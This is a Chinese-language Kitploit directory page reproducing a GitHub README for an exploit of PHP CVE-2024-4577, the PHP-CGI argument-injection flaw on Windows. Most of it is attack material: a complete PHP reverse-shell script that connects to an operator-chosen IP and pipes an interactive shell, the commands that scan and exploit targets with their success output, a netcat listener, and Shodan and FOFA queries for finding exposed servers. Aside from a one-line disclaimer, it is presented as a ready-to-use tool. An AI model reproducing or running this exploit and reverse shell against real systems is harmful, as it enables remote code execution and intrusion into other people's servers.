Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2024-4577-RCE-ATTACK — 攻击 PoC - PHP CVE-2024-4577 | Kitploit
工具/GitHubGitHub/bibo318/cve-2024-4577-rce-attack
漏洞扫描器漏洞利用Web应用程序漏洞利用渗透测试红队Payload 开发
GitHubbibo318/cve-2024-4577-rce-attack

CVE-2024-4577-RCE-ATTACK

攻击 PoC - PHP CVE-2024-4577

查看仓库
532年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

PHP CVE-2024-4577-RCE-ATTACK-ATTACK

Medium Python Kali

📜 描述

在 PHP 8.1.(低于 8.1.29)、8.2.(低于 8.2.20)、8.3.*(低于 8.3.8)版本中,当在 Windows 上使用 Apache 和 PHP-CGI 时,如果系统被设置为使用某些代码页,Windows 可能会使用“最佳匹配”行为来替换提供给 Win32 API 函数的命令行中的字符。PHP CGI 模块可能会将这些字符误解为 PHP 选项,从而允许恶意用户将选项传递给正在运行的 PHP 二进制文件,进而泄露脚本源代码、在服务器上执行任意 PHP 代码等。

“XAMPP 在默认配置下是易受攻击的,我们可以定位 /php-cgi/php-cgi.exe 端点。要定位一个显式的 .php 端点(例如 /index.php),服务器必须配置为以 CGI 模式运行 PHP 脚本。”

📚 目录

  • 📜 描述
  • 🛠️ 安装
  • ⚙️ 使用
  • 💁 参考

🛠️ 安装

root@kitploit:~
$ git clone https://github.com/bibo318/CVE-2024-4577-RCE-ATTACK.git
$ cd CVE-2024-4577-RCE-ATTACK && pip install -r requirements.txt 

⚙️ 使用

php-cge

🤖 设置反向 shell

PHP 有效载荷

[!NOTE] 该工具展示了实际的战术、技术和程序(TTP)。然而,这个特定的有效载荷示例在此情况下不起作用。请修改 shell.php 以获得功能完整的有效载荷。

root@kitploit:~
# rev_shell.php
<?php
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.

set_time_limit (0);
$VERSION = "1.0";
$ip = 'xxxxxxxxxxx';  // 修改此处
$port = 9999;       // 修改此处
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

//
// Daemonise ourself if possible to avoid zombies later
//

// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies.  Worth a try...
if (function_exists('pcntl_fork')) {
	// Fork and have the parent process exit
	$pid = pcntl_fork();
	
	if ($pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}
	
	if ($pid) {
		exit(0);  // Parent exits
	}

	// Make the current process a session leader
	// Will only succeed if we forked
	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}

	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

// Change to a safe directory
chdir("/");

// Remove any umask we inherited
umask(0);

//
// Do the reverse shell...
//

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
	// Check for end of TCP connection
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	// Check for end of STDOUT
	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

	// Wait until a command is end down $sock, or some
	// command output is available on STDOUT or STDERR
	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	// If we can read from the TCP socket, send
	// data to process's STDIN
	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	// If we can read from the process's STDOUT
	// send data down tcp connection
	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	// If we can read from the process's STDERR
	// send data down tcp connection
	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?> 

🖥️ 扫描服务器

root@kitploit:~
$ python3 CVE-2024-4577.py -s -t https://target.com/  
                                                   
,------. ,--.  ,--.,------.   ,-----.,--.   ,--.,------.        ,---.   ,--.  ,---.   ,---.         ,---.,-----.,-----.,-----. ,------.  ,-----.,------. 
|  .--. '|  '--'  ||  .--. ' '  .--./ \  `.'  / |  .---',-----.'.-.  \ /    '.-.  \ /    |,-----. /    ||  .--''--,  /'--,  / |  .--. ''  .--./|  .---' 
|  '--' ||  .--.  ||  '--' | |  |      \     /  |  `--, '-----' .-' .'|  ()  |.-' .'/  '  |'-----'/  '  |'--. `\ .'  /  .'  /  |  '--'.'|  |    |  `--,  
|  | --' |  |  |  ||  | --'  '  '--'\   \   /   |  `---.       /   '-. \    //   '-.'--|  |       '--|  |.--'  //   /  /   /   |  |\  \ '  '--'\|  `---. 
`--'     `--'  `--'`--'       `-----'    `-'    `------'       '-----'  `--' '-----'   `--'          `--'`----' `--'   `--'    `--' '--' `-----'`------'             
         Author: Demongod | CVE-2024-4577 | PoC and Scanner |                     
    
[+] 目标 https://xxxx.com 易受 CVE-2024-4577 攻击

🎯 利用易受攻击的服务器

root@kitploit:~
$ python3 CVE-2024-4577.py -t http://example.com -e -p rev_shell.php
                                                   
,------. ,--.  ,--.,------.   ,-----.,--.   ,--.,------.        ,---.   ,--.  ,---.   ,---.         ,---.,-----.,-----.,-----. ,------.  ,-----.,------. 
|  .--. '|  '--'  ||  .--. ' '  .--./ \  `.'  / |  .---',-----.'.-.  \ /    '.-.  \ /    |,-----. /    ||  .--''--,  /'--,  / |  .--. ''  .--./|  .---' 
|  '--' ||  .--.  ||  '--' | |  |      \     /  |  `--, '-----' .-' .'|  ()  |.-' .'/  '  |'-----'/  '  |'--. `\ .'  /  .'  /  |  '--'.'|  |    |  `--,  
|  | --' |  |  |  ||  | --'  '  '--'\   \   /   |  `---.       /   '-. \    //   '-.'--|  |       '--|  |.--'  //   /  /   /   |  |\  \ '  '--'\|  `---. 
`--'     `--'  `--'`--'       `-----'    `-'    `------'       '-----'  `--' '-----'   `--'          `--'`----' `--'   `--'    `--' '--' `-----'`------'  
        Author: Demongod | CVE-2024-4577 | PoC and Scanner |

[+] 利用成功!

👨🏻‍💻 Netcat 监听器

root@kitploit:~
$ nc -lvnp 9999

🔍 检测易受攻击的服务器

  • Shodan: server: PHP 8.1, server: PHP 8.2, server: PHP 8.3
  • FOFA: protocol="http" && header="X-Powered-By: PHP/8.1" || header="X-Powered-By: PHP/8.2" || header="X-Powered-By: PHP/8.3"

💁 参考

  • https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577
  • https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/http/cves/2024/CVE-2024-4577.yaml
  • http://www.openwall.com/lists/oss-security/2024/06/07/1
  • https://raw.githubusercontent.com/rapid7/metasploit-framework/master/modules/exploits/windows/http/php_cgi_arg_injection_rce_cve_2024_4577.rb
  • https://www.php.net/ChangeLog-8.php#8.1.29
  • https://www.php.net/ChangeLog-8.php#8.2.20
  • https://www.php.net/ChangeLog-8.php#8.3.8

⚠️ 免责声明

本工具仅用于教育和研究目的。创建者不对因使用本工具而导致的任何误用或损害承担责任。 提交问题

下载工具